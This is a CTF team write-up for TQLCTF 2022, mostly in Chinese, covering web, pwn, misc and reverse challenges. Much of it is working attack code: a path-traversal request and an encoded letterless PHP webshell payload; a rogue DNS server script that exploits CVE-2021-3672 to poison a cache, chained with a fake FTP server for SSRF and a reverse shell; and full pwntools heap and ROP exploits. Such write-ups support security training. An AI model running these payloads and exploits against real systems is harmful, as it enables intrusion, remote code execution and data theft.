TQLCTF 2022 By W&M
WEB
Simple PHP
/get_pic.php?image=../../../../../../../var/www/html//sandbox/16906266ba0d679522301631018473cc.php
读各种源码
对照生成的sandbox.php和可控点。有三个可控点。
第一个可控点/*
第二个可控点*/;无数字字母webshell;/*
user=guo/*&pass=guoke2&website=ccc&punctuation=%2a%2f%29%3b%24%5f%3d%27%27%3b%24%5f%5b%2b%24%5f%5d%2b%2b%3b%24%5f%3d%24%5f%2e%27%27%3b%24%5f%5f%3d%24%5f%5b%2b%27%27%5d%3b%24%5f%3d%24%5f%5f%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b%2f%2a
NetworkTools
1.注意到dnsproxy镜像给出的pycares版本是不存在的4.1.3版本(当前最新版是4.1.2),从pycares入手。
c-ares的CVE-2021-3672污染dns cache,让token.ftp.testsweb.xyz
被解析到自己的vps ip,从而访问自己的ftp服务器。
(点ftp check 看里面的 xxxxxx.ftp.testweb.xyz success来确定自己的token。)
https://c-ares.org/adv_20210810.html
2.在vps_ip:21
伪造一个ftp服务器让靶机下载文件(robots.txt),文件内容为POST 127.0.0.1:8080/shellcheck
的HTTP请求。
3.同一个ftp服务器,让靶机把下载的文件内容,利用ftp PASV指令发送到指定的ip的端口(127.0.0.1:8080
),进行ssrf。
命令执行,反弹shell读取flag。
#主要修改位于dns_response函数内。本脚本原型来自网络。
#pip install dnslib
#!/usr/bin/python3
#Customised dns server for python 3.2+ using dnslib
#Should be run as a daemon, either with the supplied daemon manager, or through
#initscripts/systemd
#
# Based off this:
# https://gist.github.com/andreif/6069838
#
#
##### Settings (change these): #####
WORKER_USERNAME="nobody" #Unprivileged user and group to run the worker thread
WORKER_GROUP="nobody"
LISTENING_PORT = 53 #Port to listen on
UDP_LISTEN = True #Listen on UDP?
TCP_LISTEN = False #Listen on TCP as well?
ALSO_LOG_STDOUT = True #Print to stdout as well as logging
LOG_LOCATION = "/var/log/dumbdns-server.log"
MAX_LOG_SIZE = 20000
LOG_ROTATIONS = 1
LOG_HANDLE = "dumbdns-server"
#Location for PID file (Not set here anymore)
#PID file location set in either an init-script, or the provided daemoniser if you
#choose to use it (dumb-dns-daemon.py)
#PID_FILE = "/var/run/dumbdns.pid"
# Dns info to serve
domain = 'test1.charas.me.' #Fully Qualified Domain Name, in LOWER CASE
vuln = "token.ftp.testsweb.xyz"
IP = "114.51.41.91" #你的vps ip。
TTL = 30
x = vuln + "\x00."+ domain
import logging
import logging.handlers
import os
import sys
import time
import argparse
import datetime
import threading
import traceback
import socketserver
import struct
import pwd
try:
from dnslib import *
except ImportError:
print("Missing dependency dnslib. Please install it with `pip`.")
sys.exit(2)
class DomainName(str):
def __getattr__(self, item):
return DomainName(item + '.' + self)
#D = DomainName(domain)
D = DomainName(x)
soa_record = SOA(
mname=D.ns1, # primary name server
rname=D.spam, # email of the domain administrator
times=(
201506013, # serial number
7200, # refresh 7200
10800, # retry 10800
259200, # expire 259200
7200, # minimum 3600
)
)
ns_records = [NS(D.ns1), NS(D.ns2)]
records = {
D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records,
D.ns1: [A(IP)],
D.ns2: [A(IP)],
}
def dns_response(request):
qname = request.q.qname
qn = str(qname)
qtype = request.q.qtype
qt = QTYPE[qtype]
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
t = RR.fromZone(domain+' 5 IN CNAME www.abc.com.')[0] #我找不到这个语法应该怎么写,直接parse了
t.rdata = dns.CNAME(x)
reply.add_answer(t)
reply.add_answer(RR(rname=x, rtype=1, rclass=1, ttl=TTL, rdata=A(IP)))
return reply
class BaseRequestHandler(socketserver.BaseRequestHandler):
log = logging.getLogger(LOG_HANDLE)
def get_data(self):
raise NotImplementedError
def send_data(self, data):
raise NotImplementedError
def handle(self):
now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
self.log.info("{}: request from ({}:{})".format(now, self.client_address[0], self.client_address[1]))
try:
data = self.get_data()
request = DNSRecord.parse(data)
try:
#Change this to make the logging more or less verbose
self.log.info("\t|-> qtype={}, qname={}".format(request.q.qtype, request.q.qname))
except:
pass
data = dns_response(request)
if(data is not None):
#Change this to make the logging more or less verbose
self.log.info("---- Reply:----\n{}\n".format(data))
self.send_data(data.pack())
self.log.info("\t|-> Sent reply")
pass
else:
self.log.info("\t|-> Ignoring invalid domain...")
pass
except Exception:
import traceback
traceback.print_exc()
self.log.info("\t|-> Ignoring bad packet (caused exception)")
class TCPRequestHandler(BaseRequestHandler):
def get_data(self):
data = self.request.recv(8192).strip()
sz = struct.unpack('>H', data[:2])[0]
if sz < len(data) - 2:
raise Exception("Wrong size of TCP packet")
elif sz > len(data) - 2:
raise Exception("Too big TCP packet")
return data[2:]
def send_data(self, data):
sz = struct.pack('>H', len(data))
return self.request.sendall(sz + data)
class UDPRequestHandler(BaseRequestHandler):
def get_data(self):
return self.request[0].strip()
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
def startServer():
servers = []
if UDP_LISTEN: servers.append(socketserver.ThreadingUDPServer(('0.0.0.0', LISTENING_PORT), UDPRequestHandler))
if TCP_LISTEN: servers.append(socketserver.ThreadingTCPServer(('0.0.0.0', LISTENING_PORT), TCPRequestHandler))
log = logging.getLogger(LOG_HANDLE)
log.setLevel(logging.INFO)
log_handler = logging.handlers.RotatingFileHandler(LOG_LOCATION, maxBytes=MAX_LOG_SIZE, backupCount=LOG_ROTATIONS)
log.addHandler(log_handler)
if(ALSO_LOG_STDOUT):
log_handler_stdout = logging.StreamHandler(sys.stdout)
log.addHandler(log_handler_stdout)
now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
log.info("{}: Starting nameserver on port {}\n".format(now, LISTENING_PORT))
#drop privileges (Should be started as root first to bind to port 53)
try:
os.setgid(int(pwd.getpwnam(WORKER_GROUP).pw_gid))
os.setuid(int(pwd.getpwnam(WORKER_USERNAME).pw_uid))
except:
sys.exit(2)
for s in servers:
thread = threading.Thread(target=s.serve_forever)
thread.daemon = True # exit the server thread when the main thread terminates
thread.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
finally:
for s in servers:
s.shutdown()
if __name__ == '__main__':
startServer()
PWN
ezvm
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./easyvm"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 1:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
# 0x400000-> 0x410000
asm_code = ''''''
temp_addr = 0x408000
def open_chunk_syscall(name, size):
global asm_code
asm_code += shellcraft.pushstr(name)
asm_code += '''
mov rax, 2
mov rdi, rsp
mov rsi, %d
syscall
''' % (size)
def write_addr_syscall(fd, addr, size):
global asm_code
asm_code += '''
mov rax, 1
mov rdi, %d
mov rsi, %d
mov rdx, %d
syscall
''' % (fd, addr, size)
def write_syscall(fd, content):
global asm_code
asm_code += shellcraft.pushstr(content)
asm_code += '''
mov rax, 1
mov rdi, %d
mov rsi, rsp
mov rdx, %d
syscall
''' % (fd, len(content))
def read_syscall(fd, addr, size):
global asm_code
asm_code += '''
mov rax, 0
mov rdi, %d
mov rsi, %d
mov rdx, %d
syscall
''' % (fd, addr, size)
def close_syscall(fd):
global asm_code
asm_code += '''
mov rax, 3
mov rdi, %d
syscall
''' % fd
def read_to_chunk(fd, size):
read_syscall(0, temp_addr, size)
write_addr_syscall(fd, temp_addr, size)
def debug():
global asm_code
asm_code += '''
mov rax, 10
syscall
'''
def pwn(sh, elf, libc):
global asm_code
context.log_level = "debug"
open_chunk_syscall('a' * 8, 0x88) # fd = 3
open_chunk_syscall('b' * 8, 0x88) # fd = 4
open_chunk_syscall('x' * 8, 0x88) # fd = 5
open_chunk_syscall('i' * 8, 0x48) # fd = 6
open_chunk_syscall('p' * 8, 0xE8) # fd = 7
open_chunk_syscall('j' * 8, 0xE8) # fd = 8
open_chunk_syscall('k' * 8, 0xE8) # fd = 9
read_syscall(3, temp_addr, 8)
write_addr_syscall(1, temp_addr, 8)
write_syscall(3, 'a' * 0x50)
close_syscall(5)
close_syscall(3)
close_syscall(4)
open_chunk_syscall('c' * 0x18, 0x88) # fd = 3
read_to_chunk(3, 8)
open_chunk_syscall('x' * 8, 0x88) # 4
open_chunk_syscall('y' * 8, 0x88) # 5 environ
read_syscall(5, temp_addr, 8)
write_addr_syscall(1, temp_addr, 8)
close_syscall(9)
close_syscall(7)
close_syscall(8)
open_chunk_syscall('w' * 0x18, 0xE8) # fd = 7
read_to_chunk(7, 8)
open_chunk_syscall('wjh1', 0xE8) # 8
open_chunk_syscall('wjh2', 0xE8) # 9 ret_addr
read_to_chunk(9, 0xE8)
# gdb.attach(sh, "b *$rebase(0x00000000000022B4)")
sh.sendlineafter("Send your code:", asm(asm_code) + '\x90')
libc_base = get_address(sh, True, offset=-0x1ec1f0)
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_r12_addr = libc_base + 0x11c371
pop_rax_addr = libc_base + 0x4a550
syscall_addr = libc_base + 0x66229
environ_addr = libc_base + 0x1ef2e0
sh.send(p64(environ_addr))
sh.recv(2)
stack_offset = u64(sh.recv(8))
log.success("stack_offset:\t" + hex(stack_offset))
sh.send(p64(stack_offset - 0x100))
fake_frame_addr = stack_offset - 0x100
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
pop_rdi_addr,
fake_frame_addr + 0xC8,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, stack, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0xC8,
pop_rdx_r12_addr,
0x100,
0,
syscall_addr,
pop_rax_addr, # sys_write(1, stack, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0xC8,
syscall_addr
]
payload = flat(rop_data).ljust(0xC8, '\x00') + 'flag\x00'
sh.send(payload)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
unbelievable_write
free负数到tcache结构体,直接写free_got和target地址到tcache结构体中,然后先申请free_got通过readline覆盖free_got为ret地址,让free失效,然后再malloc一下拿到target地址,然后readline写一下,然后通过后门函数直接拿到flag
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = b"DEBUG"
context.binary = b"./pwn"
def exploit(sh):
elf = context.binary
lib = elf.libc
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil(b"\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
def add(size,content):
sla(">","1")
sl(size)
sl(content)
def back(size):
sla(">","2")
sl(size)
def flag():
sla(">","3")
back(str(-0x290))
payload = p8(1)*0x40
payload = payload.ljust(0x90,"\x00") + p64(0x404018)*0x16 + p64(0x404080) * 0x16
add(0x290 - 0x8,payload)
payload = p64(0x4013BE) + p64(0x0000000000401040) + p64(0x0000000000401050)
add(0xa0 - 8,payload)
add(0x1a0-8,p64(0xdeadbeefdeadbeef))
flag()
return sh
if __name__ == '__main__':
if len(sys.argv) == 1:
sh = context.binary.process()
else:
sh = remote(sys.argv[1],int(sys.argv[2]))
exploit(sh).interactive()
Misc
Wizard
Analyze
过前验,然后发现后面m也就不到500,算了下有1/500的概率(比我抽卡概率高多了)爆破出flag,直接开摆爆破,结果爆破出来了
from lib2to3.pgen2.token import RPAR
from pwn import *
import hashlib,re,string,itertools,random
def QY(lenth):
flag = 0
tt = [''.join(i) for i in list(itertools.product(table, repeat=lenth))]
for i in range(len(tt)):
if hashlib.sha256(('TQLCTF'+tt[i]).encode()).hexdigest().startswith(_sha256.decode()):
flag = 1
return flag,tt[i]
return flag,''
while 1:
p = remote("120.79.12.160",34435)
data = p.recvuntil(b':')
_sha256 = re.findall(b'starts with (.*?)\n',data)[0]
table = string.printable
lenth = 3
flag , res = QY(lenth)
count = 0
if flag == 0:
p.close()
continue
print(res)
p.sendline(res.encode())
try:
p.recvuntil(b"Let's start!")
except:
continue
data2 = p.recv()
# print(data2)c
# print(re.findall(b'm = (.*?)\n',data2))
m = int(re.findall(b'm = (.*?)\n',data2)[0])
guess = str(random.randint(0,m))
p.sendline(('G '+guess).encode())
data3 = p.recv()
if b"You are wrong!" not in data3:
print(data3)
break
else:
print(data3,guess,m)
p.close()
flag
TQLCTF{34ac522d-197d-4683-8ff4-af1e4f5ca416}
Ranma½
Analyze
感觉本来想让我们找正确的编码的,最后发现vim打得开
得到
KGR/QRI 10646-1 zswtqgg d tnxcs tsdtofbrx osk ndnzhl gna Ietygfviy Idoilfvsu Arz (QQJ) hkkqk maikaglvusv ubyp cw ekg krzyj'o kitwkbj alypsdd. Wjs rzvmebrwoa duwcuosu pqecgqamo cw ekg IFA, uussmpu, ysum aup qfxschljyk swks pcbb khxnsee drdoqpgpwfyv cbg xeupctzou, oql gneg ylv nsg bb zds upygzrxzkjh fq XVT-8, wpr uxxvnw qt wpvy isdz. XVT-8 kif zds tsdtofbrxegktf qt szryafmtqi hkm sahz LD-DUQLQ egjuv, auqjllvtc qfxschljvrehp hlvv iqyk omjehog, sieyafj lqf cwprx ocwezcfh bugp fvwb qb XA-NYYWZ gdniha oap oip wtoqacgnsee wq cwprx rocfhu. HTTPZB{QFOLP6_KRZ1Q}
很容易看得出来是维吉尼亚,直接在线网站破解得到
ISO/IEC 10646-1 defines a large character set called the Universal Character Set (UCS) which encompasses most of the world's writing systems. The originally proposed encodings of the UCS, however, were not compatible with many current applications and protocols, and this has led to the development of UTF-8, the object of this memo. UTF-8 has the characteristic of preserving the full US-ASCII range, providing compatibility with file systems, parsers and other software that rely on US-ASCII values but are transparent to other values. TQLCTF{CODIN6_WOR1D}
flag
TQLCTF{CODIN6_WOR1D}
the Ohio State University
Analyze
音游人当然一开始就去找到粪铺不对劲的地方(x,最难的那块后面有大量的重复,然后还蛮有规律
这可以看到铺子有大量重复,我们一组组提取出来转化成0和1得到
00110101
01001000
01101111
01010111
01110100
01001001
01101101
01100101
01111101
二进制后得到5HoWtIme}
,应该是一部分flag
然后把曲包解压
图片属性有pwdpwd: VVelcome!!
应该是某种工具隐写,fuzz后发现是steghide
得到TQLCTF{VVElcOM3
然后再basic的osu中发现WAVPassword: MisoilePunch
,有个WAV的密码,然后fuzz后发现是音频LSB,里面8个wav分别用SilentEye解,可以试出来是boom.wav,得到
得到_TO_O$u_i7s_
,拼接完后得到flag
flag
TQLCTF{VVElcOM3_TO_O$u_i7s_5HoWtIme}
wordle
from pwn.toplevel import remote
import json
from randcrack import RandCrack
with open('allowed_guesses.txt', 'r') as f:
allowed_guesses = set([x.strip() for x in f.readlines()])
with open('valid_words.txt', 'r') as f:
valid_words = [x.strip() for x in f.readlines()]
GREEN = b'\033[42m \033[0m'
YELLOW = b'\033[43m \033[0m'
WHITE = b'\033[47m \033[0m'
def get_challenge(rc: RandCrack):
id = rc.predict_randrange(len(valid_words) * (2 ** 20))
answer = valid_words[id % len(valid_words)]
id = (id // len(valid_words)) ^ (id % len(valid_words))
return id, answer
def to_challenge(ans: str, id: int) -> int:
answer = valid_words.index(ans) # id % len(valid_words)
_id = id ^ answer # id // len(valid_words)
return _id * len(valid_words) + answer
def process_ans(s: bytes) -> str:
s = s.replace(GREEN, b"G").replace(
YELLOW, b"Y").replace(WHITE, b"B").replace(b" ", b'')
return s.decode()
with open("5.json") as f:
tree = json.load(f)[1]
proc = remote("47.106.102.129", 36085)
rc = RandCrack()
proc.sendlineafter("> ", b"2")
while True:
word = "salet"
root = tree
cnt = 1
r = proc.recvline()
if not r.startswith(b"Round"):
print(r)
break
_, round, id = r.split()
round = int(round[:-1])
id = int(id[1:], 16)
print(f"{round=} {id=}")
while True:
proc.sendlineafter("> ", word.encode())
ans = process_ans(proc.recvline().split(b"!")[1].strip())
if ans == "GGGGG":
break
word, root = root[ans+str(cnt)]
cnt = cnt+1
ans_id = valid_words.index(word)
# id = (id // len(valid_words)) ^ (id % len(valid_words))
id = (id ^ ans_id) * len(valid_words) + ans_id
rc.submit(id)
proc.sendlineafter("> ", b"2")
while True:
word = "salet"
root = tree
cnt = 1
r = proc.recvline()
if not r.startswith(b"Round"):
break
_, round, id = r.split()
round = int(round[:-1])
id = int(id[1:], 16)
print(f"{round=} {id=}")
while True:
proc.sendlineafter("> ", word.encode())
ans = process_ans(proc.recvline().split(b"!")[1].strip())
if ans == "GGGGG":
break
word, root = root[ans+str(cnt)]
cnt = cnt+1
if not rc.state:
rc.submit(to_challenge(word, id))
else:
print("assert")
pred_id, answer = get_challenge(rc)
assert pred_id == id
assert answer == word
proc.sendlineafter("> ", b"3")
while True:
r = proc.recvline()
if not r.startswith(b"Round"):
break
_, round, id = r.split()
round = int(round[:-1])
id = int(id[1:], 16)
print(f"{round=} {id=}")
pred_id, answer = get_challenge(rc)
assert pred_id == id
proc.sendlineafter("> ", answer.encode())
ans = process_ans(proc.recvline().split(b"!")[1].strip())
print(f"{answer=} {ans=}")
proc.interactive()
https://github.com/alex1770/wordle.git
改一下这个,让他输出决策树
./wordle -a ../allowed_guesses.txt -h ../valid_words.txt -w salet -g4 -p a.txt
用这个数据跑hard能过
easy是NULL
mid是rick roll
hard是乱序
所以必须跑insane
只要连接不断,可以一直开新的一轮,随机数种子不变
所以随便跑两轮前面的,然后推最后一轮的id就行了
问卷
签到
Reverse
Tales of the Arrow
可以看到正确与错误的应该是一半对一半
但是如果是可见字符 那么8位的bit的第一位不能为0,所以根据这个原则进行筛选
判断有两个0的情况剩下的一定为真
再通过记录出的相反数,再次筛选一次结果从而得到成功序列
aa = "01110011011001010110010101011111011110010110111101110101010111110110100101101110010111110110011101100001011011000110000101111000011110010"
str1 = ""
for i in range(len(aa)):
if(i%8==0):
str1 += chr(int(aa[i:i+8],2))
print(str1)